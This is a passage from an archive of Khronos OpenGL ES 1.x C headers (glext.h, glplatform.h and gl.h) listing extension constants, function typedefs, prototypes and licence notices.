GL_SRGB8_ALPHA8_EXT 0x8C43 #define GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT 0x8210 #endif /* GL_EXT_sRGB */ #ifndef GL_EXT_texture_compression_dxt1 #define GL_EXT_texture_compression_dxt1 1 #define GL_COMPRESSED_RGB_S3TC_DXT1_EXT 0x83F0 #define GL_COMPRESSED_RGBA_S3TC_DXT1_EXT 0x83F1 #endif /* GL_EXT_texture_compression_dxt1 */ #ifndef GL_EXT_texture_filter_anisotropic #define GL_EXT_texture_filter_anisotropic 1 #define GL_TEXTURE_MAX_ANISOTROPY_EXT 0x84FE #define GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT 0x84FF #endif /* GL_EXT_texture_filter_anisotropic */ #ifndef GL_EXT_texture_format_BGRA8888 #define GL_EXT_texture_format_BGRA8888 1 #endif /* GL_EXT_texture_format_BGRA8888 */ #ifndef GL_EXT_texture_lod_bias #define GL_EXT_texture_lod_bias 1 #define GL_MAX_TEXTURE_LOD_BIAS_EXT 0x84FD #define GL_TEXTURE_FILTER_CONTROL_EXT 0x8500 #define GL_TEXTURE_LOD_BIAS_EXT 0x8501 #endif /* GL_EXT_texture_lod_bias */ #ifndef GL_EXT_texture_storage #define GL_EXT_texture_storage 1 #define GL_TEXTURE_IMMUTABLE_FORMAT_EXT 0x912F #define GL_ALPHA8_EXT 0x803C #define GL_LUMINANCE8_EXT 0x8040 #define GL_LUMINANCE8_ALPHA8_EXT 0x8045 #define GL_RGBA32F_EXT 0x8814 #define GL_RGB32F_EXT 0x8815 #define GL_ALPHA32F_EXT 0x8816 #define GL_LUMINANCE32F_EXT 0x8818 #define GL_LUMINANCE_ALPHA32F_EXT 0x8819 #define GL_RGBA16F_EXT 0x881A #define GL_RGB16F_EXT 0x881B #define GL_ALPHA16F_EXT 0x881C #define GL_LUMINANCE16F_EXT 0x881E #define GL_LUMINANCE_ALPHA16F_EXT 0x881F #define GL_R8_EXT 0x8229 #define GL_RG8_EXT 0x822B #define GL_R32F_EXT 0x822E #define GL_RG32F_EXT 0x8230 #define GL_R16F_EXT 0x822D #define GL_RG16F_EXT 0x822F typedef void (GL_APIENTRYP PFNGLTEXSTORAGE1DEXTPROC) (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width); typedef void (GL_APIENTRYP PFNGLTEXSTORAGE2DEXTPROC) (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLTEXSTORAGE3DEXTPROC) (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGE1DEXTPROC) (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGE2DEXTPROC) (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGE3DEXTPROC) (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glTexStorage1DEXT (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width); GL_API void GL_APIENTRY glTexStorage2DEXT (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height); GL_API void GL_APIENTRY glTexStorage3DEXT (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth); GL_API void GL_APIENTRY glTextureStorage1DEXT (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width); GL_API void GL_APIENTRY glTextureStorage2DEXT (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height); GL_API void GL_APIENTRY glTextureStorage3DEXT (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth); #endif #endif /* GL_EXT_texture_storage */ #ifndef GL_IMG_multisampled_render_to_texture #define GL_IMG_multisampled_render_to_texture 1 #define GL_RENDERBUFFER_SAMPLES_IMG 0x9133 #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_IMG 0x9134 #define GL_MAX_SAMPLES_IMG 0x9135 #define GL_TEXTURE_SAMPLES_IMG 0x9136 typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLEIMGPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURE2DMULTISAMPLEIMGPROC) (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLsizei samples); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glRenderbufferStorageMultisampleIMG (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); GL_API void GL_APIENTRY glFramebufferTexture2DMultisampleIMG (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLsizei samples); #endif #endif /* GL_IMG_multisampled_render_to_texture */ #ifndef GL_IMG_read_format #define GL_IMG_read_format 1 #define GL_BGRA_IMG 0x80E1 #define GL_UNSIGNED_SHORT_4_4_4_4_REV_IMG 0x8365 #endif /* GL_IMG_read_format */ #ifndef GL_IMG_texture_compression_pvrtc #define GL_IMG_texture_compression_pvrtc 1 #define GL_COMPRESSED_RGB_PVRTC_4BPPV1_IMG 0x8C00 #define GL_COMPRESSED_RGB_PVRTC_2BPPV1_IMG 0x8C01 #define GL_COMPRESSED_RGBA_PVRTC_4BPPV1_IMG 0x8C02 #define GL_COMPRESSED_RGBA_PVRTC_2BPPV1_IMG 0x8C03 #endif /* GL_IMG_texture_compression_pvrtc */ #ifndef GL_IMG_texture_env_enhanced_fixed_function #define GL_IMG_texture_env_enhanced_fixed_function 1 #define GL_MODULATE_COLOR_IMG 0x8C04 #define GL_RECIP_ADD_SIGNED_ALPHA_IMG 0x8C05 #define GL_TEXTURE_ALPHA_MODULATE_IMG 0x8C06 #define GL_FACTOR_ALPHA_MODULATE_IMG 0x8C07 #define GL_FRAGMENT_ALPHA_MODULATE_IMG 0x8C08 #define GL_ADD_BLEND_IMG 0x8C09 #define GL_DOT3_RGBA_IMG 0x86AF #endif /* GL_IMG_texture_env_enhanced_fixed_function */ #ifndef GL_IMG_user_clip_plane #define GL_IMG_user_clip_plane 1 #define GL_CLIP_PLANE0_IMG 0x3000 #define GL_CLIP_PLANE1_IMG 0x3001 #define GL_CLIP_PLANE2_IMG 0x3002 #define GL_CLIP_PLANE3_IMG 0x3003 #define GL_CLIP_PLANE4_IMG 0x3004 #define GL_CLIP_PLANE5_IMG 0x3005 #define GL_MAX_CLIP_PLANES_IMG 0x0D32 typedef void (GL_APIENTRYP PFNGLCLIPPLANEFIMGPROC) (GLenum p, const GLfloat *eqn); typedef void (GL_APIENTRYP PFNGLCLIPPLANEXIMGPROC) (GLenum p, const GLfixed *eqn); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glClipPlanefIMG (GLenum p, const GLfloat *eqn); GL_API void GL_APIENTRY glClipPlanexIMG (GLenum p, const GLfixed *eqn); #endif #endif /* GL_IMG_user_clip_plane */ #ifndef GL_NV_fence #define GL_NV_fence 1 #define GL_ALL_COMPLETED_NV 0x84F2 #define GL_FENCE_STATUS_NV 0x84F3 #define GL_FENCE_CONDITION_NV 0x84F4 typedef void (GL_APIENTRYP PFNGLDELETEFENCESNVPROC) (GLsizei n, const GLuint *fences); typedef void (GL_APIENTRYP PFNGLGENFENCESNVPROC) (GLsizei n, GLuint *fences); typedef GLboolean (GL_APIENTRYP PFNGLISFENCENVPROC) (GLuint fence); typedef GLboolean (GL_APIENTRYP PFNGLTESTFENCENVPROC) (GLuint fence); typedef void (GL_APIENTRYP PFNGLGETFENCEIVNVPROC) (GLuint fence, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLFINISHFENCENVPROC) (GLuint fence); typedef void (GL_APIENTRYP PFNGLSETFENCENVPROC) (GLuint fence, GLenum condition); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glDeleteFencesNV (GLsizei n, const GLuint *fences); GL_API void GL_APIENTRY glGenFencesNV (GLsizei n, GLuint *fences); GL_API GLboolean GL_APIENTRY glIsFenceNV (GLuint fence); GL_API GLboolean GL_APIENTRY glTestFenceNV (GLuint fence); GL_API void GL_APIENTRY glGetFenceivNV (GLuint fence, GLenum pname, GLint *params); GL_API void GL_APIENTRY glFinishFenceNV (GLuint fence); GL_API void GL_APIENTRY glSetFenceNV (GLuint fence, GLenum condition); #endif #endif /* GL_NV_fence */ #ifndef GL_QCOM_driver_control #define GL_QCOM_driver_control 1 typedef void (GL_APIENTRYP PFNGLGETDRIVERCONTROLSQCOMPROC) (GLint *num, GLsizei size, GLuint *driverControls); typedef void (GL_APIENTRYP PFNGLGETDRIVERCONTROLSTRINGQCOMPROC) (GLuint driverControl, GLsizei bufSize, GLsizei *length, GLchar *driverControlString); typedef void (GL_APIENTRYP PFNGLENABLEDRIVERCONTROLQCOMPROC) (GLuint driverControl); typedef void (GL_APIENTRYP PFNGLDISABLEDRIVERCONTROLQCOMPROC) (GLuint driverControl); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glGetDriverControlsQCOM (GLint *num, GLsizei size, GLuint *driverControls); GL_API void GL_APIENTRY glGetDriverControlStringQCOM (GLuint driverControl, GLsizei bufSize, GLsizei *length, GLchar *driverControlString); GL_API void GL_APIENTRY glEnableDriverControlQCOM (GLuint driverControl); GL_API void GL_APIENTRY glDisableDriverControlQCOM (GLuint driverControl); #endif #endif /* GL_QCOM_driver_control */ #ifndef GL_QCOM_extended_get #define GL_QCOM_extended_get 1 #define GL_TEXTURE_WIDTH_QCOM 0x8BD2 #define GL_TEXTURE_HEIGHT_QCOM 0x8BD3 #define GL_TEXTURE_DEPTH_QCOM 0x8BD4 #define GL_TEXTURE_INTERNAL_FORMAT_QCOM 0x8BD5 #define GL_TEXTURE_FORMAT_QCOM 0x8BD6 #define GL_TEXTURE_TYPE_QCOM 0x8BD7 #define GL_TEXTURE_IMAGE_VALID_QCOM 0x8BD8 #define GL_TEXTURE_NUM_LEVELS_QCOM 0x8BD9 #define GL_TEXTURE_TARGET_QCOM 0x8BDA #define GL_TEXTURE_OBJECT_VALID_QCOM 0x8BDB #define GL_STATE_RESTORE 0x8BDC typedef void (GL_APIENTRYP PFNGLEXTGETTEXTURESQCOMPROC) (GLuint *textures, GLint maxTextures, GLint *numTextures); typedef void (GL_APIENTRYP PFNGLEXTGETBUFFERSQCOMPROC) (GLuint *buffers, GLint maxBuffers, GLint *numBuffers); typedef void (GL_APIENTRYP PFNGLEXTGETRENDERBUFFERSQCOMPROC) (GLuint *renderbuffers, GLint maxRenderbuffers, GLint *numRenderbuffers); typedef void (GL_APIENTRYP PFNGLEXTGETFRAMEBUFFERSQCOMPROC) (GLuint *framebuffers, GLint maxFramebuffers, GLint *numFramebuffers); typedef void (GL_APIENTRYP PFNGLEXTGETTEXLEVELPARAMETERIVQCOMPROC) (GLuint texture, GLenum face, GLint level, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLEXTTEXOBJECTSTATEOVERRIDEIQCOMPROC) (GLenum target, GLenum pname, GLint param); typedef void (GL_APIENTRYP PFNGLEXTGETTEXSUBIMAGEQCOMPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, void *texels); typedef void (GL_APIENTRYP PFNGLEXTGETBUFFERPOINTERVQCOMPROC) (GLenum target, void **params); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glExtGetTexturesQCOM (GLuint *textures, GLint maxTextures, GLint *numTextures); GL_API void GL_APIENTRY glExtGetBuffersQCOM (GLuint *buffers, GLint maxBuffers, GLint *numBuffers); GL_API void GL_APIENTRY glExtGetRenderbuffersQCOM (GLuint *renderbuffers, GLint maxRenderbuffers, GLint *numRenderbuffers); GL_API void GL_APIENTRY glExtGetFramebuffersQCOM (GLuint *framebuffers, GLint maxFramebuffers, GLint *numFramebuffers); GL_API void GL_APIENTRY glExtGetTexLevelParameterivQCOM (GLuint texture, GLenum face, GLint level, GLenum pname, GLint *params); GL_API void GL_APIENTRY glExtTexObjectStateOverrideiQCOM (GLenum target, GLenum pname, GLint param); GL_API void GL_APIENTRY glExtGetTexSubImageQCOM (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, void *texels); GL_API void GL_APIENTRY glExtGetBufferPointervQCOM (GLenum target, void **params); #endif #endif /* GL_QCOM_extended_get */ #ifndef GL_QCOM_extended_get2 #define GL_QCOM_extended_get2 1 typedef void (GL_APIENTRYP PFNGLEXTGETSHADERSQCOMPROC) (GLuint *shaders, GLint maxShaders, GLint *numShaders); typedef void (GL_APIENTRYP PFNGLEXTGETPROGRAMSQCOMPROC) (GLuint *programs, GLint maxPrograms, GLint *numPrograms); typedef GLboolean (GL_APIENTRYP PFNGLEXTISPROGRAMBINARYQCOMPROC) (GLuint program); typedef void (GL_APIENTRYP PFNGLEXTGETPROGRAMBINARYSOURCEQCOMPROC) (GLuint program, GLenum shadertype, GLchar *source, GLint *length); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glExtGetShadersQCOM (GLuint *shaders, GLint maxShaders, GLint *numShaders); GL_API void GL_APIENTRY glExtGetProgramsQCOM (GLuint *programs, GLint maxPrograms, GLint *numPrograms); GL_API GLboolean GL_APIENTRY glExtIsProgramBinaryQCOM (GLuint program); GL_API void GL_APIENTRY glExtGetProgramBinarySourceQCOM (GLuint program, GLenum shadertype, GLchar *source, GLint *length); #endif #endif /* GL_QCOM_extended_get2 */ #ifndef GL_QCOM_perfmon_global_mode #define GL_QCOM_perfmon_global_mode 1 #define GL_PERFMON_GLOBAL_MODE_QCOM 0x8FA0 #endif /* GL_QCOM_perfmon_global_mode */ #ifndef GL_QCOM_tiled_rendering #define GL_QCOM_tiled_rendering 1 #define GL_COLOR_BUFFER_BIT0_QCOM 0x00000001 #define GL_COLOR_BUFFER_BIT1_QCOM 0x00000002 #define GL_COLOR_BUFFER_BIT2_QCOM 0x00000004 #define GL_COLOR_BUFFER_BIT3_QCOM 0x00000008 #define GL_COLOR_BUFFER_BIT4_QCOM 0x00000010 #define GL_COLOR_BUFFER_BIT5_QCOM 0x00000020 #define GL_COLOR_BUFFER_BIT6_QCOM 0x00000040 #define GL_COLOR_BUFFER_BIT7_QCOM 0x00000080 #define GL_DEPTH_BUFFER_BIT0_QCOM 0x00000100 #define GL_DEPTH_BUFFER_BIT1_QCOM 0x00000200 #define GL_DEPTH_BUFFER_BIT2_QCOM 0x00000400 #define GL_DEPTH_BUFFER_BIT3_QCOM 0x00000800 #define GL_DEPTH_BUFFER_BIT4_QCOM 0x00001000 #define GL_DEPTH_BUFFER_BIT5_QCOM 0x00002000 #define GL_DEPTH_BUFFER_BIT6_QCOM 0x00004000 #define GL_DEPTH_BUFFER_BIT7_QCOM 0x00008000 #define GL_STENCIL_BUFFER_BIT0_QCOM 0x00010000 #define GL_STENCIL_BUFFER_BIT1_QCOM 0x00020000 #define GL_STENCIL_BUFFER_BIT2_QCOM 0x00040000 #define GL_STENCIL_BUFFER_BIT3_QCOM 0x00080000 #define GL_STENCIL_BUFFER_BIT4_QCOM 0x00100000 #define GL_STENCIL_BUFFER_BIT5_QCOM 0x00200000 #define GL_STENCIL_BUFFER_BIT6_QCOM 0x00400000 #define GL_STENCIL_BUFFER_BIT7_QCOM 0x00800000 #define GL_MULTISAMPLE_BUFFER_BIT0_QCOM 0x01000000 #define GL_MULTISAMPLE_BUFFER_BIT1_QCOM 0x02000000 #define GL_MULTISAMPLE_BUFFER_BIT2_QCOM 0x04000000 #define GL_MULTISAMPLE_BUFFER_BIT3_QCOM 0x08000000 #define GL_MULTISAMPLE_BUFFER_BIT4_QCOM 0x10000000 #define GL_MULTISAMPLE_BUFFER_BIT5_QCOM 0x20000000 #define GL_MULTISAMPLE_BUFFER_BIT6_QCOM 0x40000000 #define GL_MULTISAMPLE_BUFFER_BIT7_QCOM 0x80000000 typedef void (GL_APIENTRYP PFNGLSTARTTILINGQCOMPROC) (GLuint x, GLuint y, GLuint width, GLuint height, GLbitfield preserveMask); typedef void (GL_APIENTRYP PFNGLENDTILINGQCOMPROC) (GLbitfield preserveMask); #ifdef GL_GLEXT_PROTOTYPES GL_API void GL_APIENTRY glStartTilingQCOM (GLuint x, GLuint y, GLuint width, GLuint height, GLbitfield preserveMask); GL_API void GL_APIENTRY glEndTilingQCOM (GLbitfield preserveMask); #endif #endif /* GL_QCOM_tiled_rendering */ #ifndef GL_QCOM_writeonly_rendering #define GL_QCOM_writeonly_rendering 1 #define GL_WRITEONLY_RENDERING_QCOM 0x8823 #endif /* GL_QCOM_writeonly_rendering */ #ifdef __cplusplus } #endif #endif GLES/glplatform.h 0000644 00000002200 15246445047 0007623 0 ustar 00 #ifndef __glplatform_h_ #define __glplatform_h_ /* ** Copyright (c) 2017 The Khronos Group Inc. ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. */ /* Platform-specific types and definitions for OpenGL ES 1.X gl.h * * Adopters may modify khrplatform.h and this file to suit their platform. * Please contribute modifications back to Khronos as pull requests on the * public github repository: * https://github.com/KhronosGroup/OpenGL-Registry */ #include <KHR/khrplatform.h> #ifndef GL_API #define GL_API KHRONOS_APICALL #endif #ifndef GL_APIENTRY #define GL_APIENTRY KHRONOS_APIENTRY #endif #endif /* __glplatform_h_ */ GLES/gl.h 0000644 00000075665 15246445047 0006107 0 ustar 00 #ifndef __gles1_gl_h_ #define __gles1_gl_h_ 1 #ifdef __cplusplus extern "C" { #endif /* ** Copyright (c) 2013-2018 The Khronos Group Inc. ** ** Permission is hereby granted, free of charge, to any person obtaining a ** copy of this software and/or associated documentation files (the ** "Materials"), to deal in the Materials without restriction, including ** without limitation the rights to use, copy, modify, merge, publish, ** distribute, sublicense, and/or sell copies of the Materials, and to ** permit persons to whom the Materials are furnished to do so, subject to ** the following conditions: ** ** The above copyright notice and this permission notice shall be included ** in all copies or substantial portions of the Materials. ** ** THE MATERIALS ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, ** EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF ** MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. ** IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY ** CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, ** TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE ** MATERIALS OR THE USE OR OTHER DEALINGS IN THE MATERIALS. */ /* ** This header is generated from the Khronos OpenGL / OpenGL ES XML ** API Registry. The current version of the Registry, generator scripts ** used to make the header, and the header can be found at ** https://github.com/KhronosGroup/OpenGL-Registry */ #include <GLES/glplatform.h> /* Generated on date 20190805 */ /* Generated C header for: * API: gles1 * Profile: common * Versions considered: .* * Versions emitted: .* * Default extensions included: None * Additional extensions included: ^(GL_OES_read_format|GL_OES_compressed_paletted_texture|GL_OES_point_size_array|GL_OES_point_sprite)$ * Extensions removed: _nomatch_^ */ #ifndef GL_VERSION_ES_CM_1_0 #define GL_VERSION_ES_CM_1_0 1 #include <KHR/khrplatform.h> typedef khronos_int8_t GLbyte; typedef khronos_float_t GLclampf; typedef khronos_int16_t GLshort; typedef khronos_uint16_t GLushort; typedef void GLvoid; typedef unsigned int GLenum; typedef khronos_float_t GLfloat; typedef khronos_int32_t GLfixed; typedef unsigned int GLuint; typedef khronos_ssize_t GLsizeiptr; typedef khronos_intptr_t GLintptr; typedef unsigned int GLbitfield; typedef int GLint; typedef khronos_uint8_t GLubyte; typedef unsigned char GLboolean; typedef int GLsizei; typedef khronos_int32_t GLclampx; #define GL_VERSION_ES_CL_1_0 1 #define GL_VERSION_ES_CM_1_1 1 #define GL_VERSION_ES_CL_1_1 1 #define GL_DEPTH_BUFFER_BIT 0x00000100 #define GL_STENCIL_BUFFER_BIT 0x00000400 #define GL_COLOR_BUFFER_BIT 0x00004000 #define GL_FALSE 0 #define GL_TRUE 1 #define GL_POINTS 0x0000 #define GL_LINES 0x0001 #define GL_LINE_LOOP 0x0002 #define GL_LINE_STRIP 0x0003 #define GL_TRIANGLES 0x0004 #define GL_TRIANGLE_STRIP 0x0005 #define GL_TRIANGLE_FAN 0x0006 #define GL_NEVER 0x0200 #define GL_LESS 0x0201 #define GL_EQUAL 0x0202 #define GL_LEQUAL 0x0203 #define GL_GREATER 0x0204 #define GL_NOTEQUAL 0x0205 #define GL_GEQUAL 0x0206 #define GL_ALWAYS 0x0207 #define GL_ZERO 0 #define GL_ONE 1 #define GL_SRC_COLOR 0x0300 #define GL_ONE_MINUS_SRC_COLOR 0x0301 #define GL_SRC_ALPHA 0x0302 #define GL_ONE_MINUS_SRC_ALPHA 0x0303 #define GL_DST_ALPHA 0x0304 #define GL_ONE_MINUS_DST_ALPHA 0x0305 #define GL_DST_COLOR 0x0306 #define GL_ONE_MINUS_DST_COLOR 0x0307 #define GL_SRC_ALPHA_SATURATE 0x0308 #define GL_CLIP_PLANE0 0x3000 #define GL_CLIP_PLANE1 0x3001 #define GL_CLIP_PLANE2 0x3002 #define GL_CLIP_PLANE3 0x3003 #define GL_CLIP_PLANE4 0x3004 #define GL_CLIP_PLANE5 0x3005 #define GL_FRONT 0x0404 #define GL_BACK 0x0405 #define GL_FRONT_AND_BACK 0x0408 #define GL_FOG 0x0B60 #define GL_LIGHTING 0x0B50 #define GL_TEXTURE_2D 0x0DE1 #define GL_CULL_FACE 0x0B44 #define GL_ALPHA_TEST 0x0BC0 #define GL_BLEND 0x0BE2 #define GL_COLOR_LOGIC_OP 0x0BF2 #define GL_DITHER 0x0BD0 #define GL_STENCIL_TEST 0x0B90 #define GL_DEPTH_TEST 0x0B71 #define GL_POINT_SMOOTH 0x0B10 #define GL_LINE_SMOOTH 0x0B20 #define GL_SCISSOR_TEST 0x0C11 #define GL_COLOR_MATERIAL 0x0B57 #define GL_NORMALIZE 0x0BA1 #define GL_RESCALE_NORMAL 0x803A #define GL_VERTEX_ARRAY 0x8074 #define GL_NORMAL_ARRAY 0x8075 #define GL_COLOR_ARRAY 0x8076 #define GL_TEXTURE_COORD_ARRAY 0x8078 #define GL_MULTISAMPLE 0x809D #define GL_SAMPLE_ALPHA_TO_COVERAGE 0x809E #define GL_SAMPLE_ALPHA_TO_ONE 0x809F #define GL_SAMPLE_COVERAGE 0x80A0 #define GL_NO_ERROR 0 #define GL_INVALID_ENUM 0x0500 #define GL_INVALID_VALUE 0x0501 #define GL_INVALID_OPERATION 0x0502 #define GL_STACK_OVERFLOW 0x0503 #define GL_STACK_UNDERFLOW 0x0504 #define GL_OUT_OF_MEMORY 0x0505 #define GL_EXP 0x0800 #define GL_EXP2 0x0801 #define GL_FOG_DENSITY 0x0B62 #define GL_FOG_START 0x0B63 #define GL_FOG_END 0x0B64 #define GL_FOG_MODE 0x0B65 #define GL_FOG_COLOR 0x0B66 #define GL_CW 0x0900 #define GL_CCW 0x0901 #define GL_CURRENT_COLOR 0x0B00 #define GL_CURRENT_NORMAL 0x0B02 #define GL_CURRENT_TEXTURE_COORDS 0x0B03 #define GL_POINT_SIZE 0x0B11 #define GL_POINT_SIZE_MIN 0x8126 #define GL_POINT_SIZE_MAX 0x8127 #define GL_POINT_FADE_THRESHOLD_SIZE 0x8128 #define GL_POINT_DISTANCE_ATTENUATION 0x8129 #define GL_SMOOTH_POINT_SIZE_RANGE 0x0B12 #define GL_LINE_WIDTH 0x0B21 #define GL_SMOOTH_LINE_WIDTH_RANGE 0x0B22 #define GL_ALIASED_POINT_SIZE_RANGE 0x846D #define GL_ALIASED_LINE_WIDTH_RANGE 0x846E #define GL_CULL_FACE_MODE 0x0B45 #define GL_FRONT_FACE 0x0B46 #define GL_SHADE_MODEL 0x0B54 #define GL_DEPTH_RANGE 0x0B70 #define GL_DEPTH_WRITEMASK 0x0B72 #define GL_DEPTH_CLEAR_VALUE 0x0B73 #define GL_DEPTH_FUNC 0x0B74 #define GL_STENCIL_CLEAR_VALUE 0x0B91 #define GL_STENCIL_FUNC 0x0B92 #define GL_STENCIL_VALUE_MASK 0x0B93 #define GL_STENCIL_FAIL 0x0B94 #define GL_STENCIL_PASS_DEPTH_FAIL 0x0B95 #define GL_STENCIL_PASS_DEPTH_PASS 0x0B96 #define GL_STENCIL_REF 0x0B97 #define GL_STENCIL_WRITEMASK 0x0B98 #define GL_MATRIX_MODE 0x0BA0 #define GL_VIEWPORT 0x0BA2 #define GL_MODELVIEW_STACK_DEPTH 0x0BA3 #define GL_PROJECTION_STACK_DEPTH 0x0BA4 #define GL_TEXTURE_STACK_DEPTH 0x0BA5 #define GL_MODELVIEW_MATRIX 0x0BA6 #define GL_PROJECTION_MATRIX 0x0BA7 #define GL_TEXTURE_MATRIX 0x0BA8 #define GL_ALPHA_TEST_FUNC 0x0BC1 #define GL_ALPHA_TEST_REF 0x0BC2 #define GL_BLEND_DST 0x0BE0 #define GL_BLEND_SRC 0x0BE1 #define GL_LOGIC_OP_MODE 0x0BF0 #define GL_SCISSOR_BOX 0x0C10 #define GL_COLOR_CLEAR_VALUE 0x0C22 #define GL_COLOR_WRITEMASK 0x0C23 #define GL_MAX_LIGHTS 0x0D31 #define GL_MAX_CLIP_PLANES 0x0D32 #define GL_MAX_TEXTURE_SIZE 0x0D33 #define GL_MAX_MODELVIEW_STACK_DEPTH 0x0D36 #define GL_MAX_PROJECTION_STACK_DEPTH 0x0D38 #define GL_MAX_TEXTURE_STACK_DEPTH 0x0D39 #define GL_MAX_VIEWPORT_DIMS 0x0D3A #define GL_MAX_TEXTURE_UNITS 0x84E2 #define GL_SUBPIXEL_BITS 0x0D50 #define GL_RED_BITS 0x0D52 #define GL_GREEN_BITS 0x0D53 #define GL_BLUE_BITS 0x0D54 #define GL_ALPHA_BITS 0x0D55 #define GL_DEPTH_BITS 0x0D56 #define GL_STENCIL_BITS 0x0D57 #define GL_POLYGON_OFFSET_UNITS 0x2A00 #define GL_POLYGON_OFFSET_FILL 0x8037 #define GL_POLYGON_OFFSET_FACTOR 0x8038 #define GL_TEXTURE_BINDING_2D 0x8069 #define GL_VERTEX_ARRAY_SIZE 0x807A #define GL_VERTEX_ARRAY_TYPE 0x807B #define GL_VERTEX_ARRAY_STRIDE 0x807C #define GL_NORMAL_ARRAY_TYPE 0x807E #define GL_NORMAL_ARRAY_STRIDE 0x807F #define GL_COLOR_ARRAY_SIZE 0x8081 #define GL_COLOR_ARRAY_TYPE 0x8082 #define GL_COLOR_ARRAY_STRIDE 0x8083 #define GL_TEXTURE_COORD_ARRAY_SIZE 0x8088 #define GL_TEXTURE_COORD_ARRAY_TYPE 0x8089 #define GL_TEXTURE_COORD_ARRAY_STRIDE 0x808A #define GL_VERTEX_ARRAY_POINTER 0x808E #define GL_NORMAL_ARRAY_POINTER 0x808F #define GL_COLOR_ARRAY_POINTER 0x8090 #define GL_TEXTURE_COORD_ARRAY_POINTER 0x8092 #define GL_SAMPLE_BUFFERS 0x80A8 #define GL_SAMPLES 0x80A9 #define GL_SAMPLE_COVERAGE_VALUE 0x80AA #define GL_SAMPLE_COVERAGE_INVERT 0x80AB #define GL_NUM_COMPRESSED_TEXTURE_FORMATS 0x86A2 #define GL_COMPRESSED_TEXTURE_FORMATS 0x86A3 #define GL_DONT_CARE 0x1100 #define GL_FASTEST 0x1101 #define GL_NICEST 0x1102 #define GL_PERSPECTIVE_CORRECTION_HINT 0x0C50 #define GL_POINT_SMOOTH_HINT 0x0C51 #define GL_LINE_SMOOTH_HINT 0x0C52 #define GL_FOG_HINT 0x0C54 #define GL_GENERATE_MIPMAP_HINT 0x8192 #define GL_LIGHT_MODEL_AMBIENT 0x0B53 #define GL_LIGHT_MODEL_TWO_SIDE 0x0B52 #define GL_AMBIENT 0x1200 #define GL_DIFFUSE 0x1201 #define GL_SPECULAR 0x1202 #define GL_POSITION 0x1203 #define GL_SPOT_DIRECTION 0x1204 #define GL_SPOT_EXPONENT 0x1205 #define GL_SPOT_CUTOFF 0x1206 #define GL_CONSTANT_ATTENUATION 0x1207 #define GL_LINEAR_ATTENUATION 0x1208 #define GL_QUADRATIC_ATTENUATION 0x1209 #define GL_BYTE 0x1400 #define GL_UNSIGNED_BYTE 0x1401 #define GL_SHORT 0x1402 #define GL_UNSIGNED_SHORT 0x1403 #define GL_FLOAT 0x1406 #define GL_FIXED 0x140C #define GL_CLEAR 0x1500 #define GL_AND 0x1501 #define GL_AND_REVERSE 0x1502 #define GL_COPY 0x1503 #define GL_AND_INVERTED 0x1504 #define GL_NOOP 0x1505 #define GL_XOR 0x1506 #define GL_OR 0x1507 #define GL_NOR 0x1508 #define GL_EQUIV 0x1509 #define GL_INVERT 0x150A #define GL_OR_REVERSE 0x150B #define GL_COPY_INVERTED 0x150C #define GL_OR_INVERTED 0x150D #define GL_NAND 0x150E #define GL_SET 0x150F #define GL_EMISSION 0x1600 #define GL_SHININESS 0x1601 #define GL_AMBIENT_AND_DIFFUSE 